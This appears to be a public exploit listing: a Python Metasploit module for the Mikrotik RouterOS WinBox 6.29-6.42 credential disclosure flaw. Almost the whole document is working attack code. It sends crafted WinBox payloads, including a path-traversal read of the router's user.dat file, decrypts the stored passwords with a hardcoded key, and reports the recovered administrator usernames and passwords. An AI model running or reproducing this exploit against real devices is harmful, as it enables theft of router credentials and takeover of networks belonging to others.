1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 |
# Exploit Title: Mikrotik WinBox 6.42 - Credential Disclosure (Metasploit) # Date: 2018-05-21 # Exploit Author(s): Omid Shojaei (@Dmitriy_area51), Dark VoidSeeker, Alireza Mosajjal # Vendor Page: https://www.mikrotik.com/ # Sotware Link: https://mikrotik.com/download # Version: 6.29 - 6.42 # Tested on: Metasploit Framework: 4.16.58-dev on Kali Linux # CVE: N/A ''' This module extracts Mikrotik's RouterOS Administration Credentials and stores username and passwords in database. Even deleted or disabled users and passwords get dumped. Note: This module needs metasploit freamework. ''' #!/usr/bin/env python3 import sys import socket import hashlib import logging from metasploit import module FIRST_PAYLOAD = \ [0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00, 0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07, 0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21, 0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66, 0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00] SECOND_PAYLOAD = \ [0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00, 0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01, 0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08, 0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09, 0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00] METADATA = { "name": "Mikrotik RouterOS WinBox Credentials Leakage", "description": '''This module extracts winbox credentials in winbox releases prior to 04/20/2018 ''', "authors": [ "Omid Shojaei (@Dmitriy_area51)", "Dark VoidSeeker", "Alireza Mosajjal" # Original author ], "date": "2018-05-21", "license": "MSF_LICENSE", "references": [ {"type": "url", "ref": "https://github.com/BigNerd95/WinboxExploit"} ], "type": "single_scanner", "options": { "RHOSTS": { "type": "address", "description": "The Mikrotik device to extract credentials (Just 1 IP)", "required": True, "default": None }, "RPORT": { "type": "string", "description": "The Mikrotik device's winbox port number.", "required": True, "default": 8291 } } } def decrypt_password(user, pass_enc): key = hashlib.md5(user + b"283i4jfkai3389").digest() passw = "" for i in range(0, len(pass_enc)): passw += chr(pass_enc[i] ^ key[i % len(key)]) return passw.split("\x00")[0] def extract_user_pass_from_entry(entry): user_data = entry.split(b"\x01\x00\x00\x21")[1] pass_data = entry.split(b"\x11\x00\x00\x21")[1] user_len = user_data[0] pass_len = pass_data[0] username = user_data[1:1 + user_len] password = pass_data[1:1 + pass_len] return username, password def get_pair(data): user_list = [] entries = data.split(b"M2")[1:] for entry in entries: try: user, pass_encrypted = extract_user_pass_from_entry(entry) except: continue pass_plain = decrypt_password(user, pass_encrypted) user= user.decode("ascii") user_list.append((user, pass_plain)) return user_list def dump(data, rhost): user_pass = get_pair(data) for user, passwd in user_pass: logging.info("{}:{}".format(user, passwd)) module.report_correct_password(user, passwd, host=rhost) def run(args): module.LogHandler.setup(msg_prefix="[{}] - ".format(args['rhost'])) #Initialize Socket s = socket.socket() s.settimeout(3) try: s.connect((str(args['RHOSTS']), int(args['RPORT']))) except socket.timeout: logging.error("Not Vulnerable!!!") return #Convert to bytearray for manipulation a = bytearray(FIRST_PAYLOAD) b = bytearray(SECOND_PAYLOAD) #Send hello and recieve the sesison id s.send(a) d = bytearray(s.recv(1024)) #Replace the session id in template b[19] = d[38] #Send the edited response s.send(b) d = bytearray(s.recv(1024)) #Get results module.report_host(args['RHOSTS']) dump(d[55:], args['RHOSTS']) if __name__ == "__main__": module.run(METADATA, run) |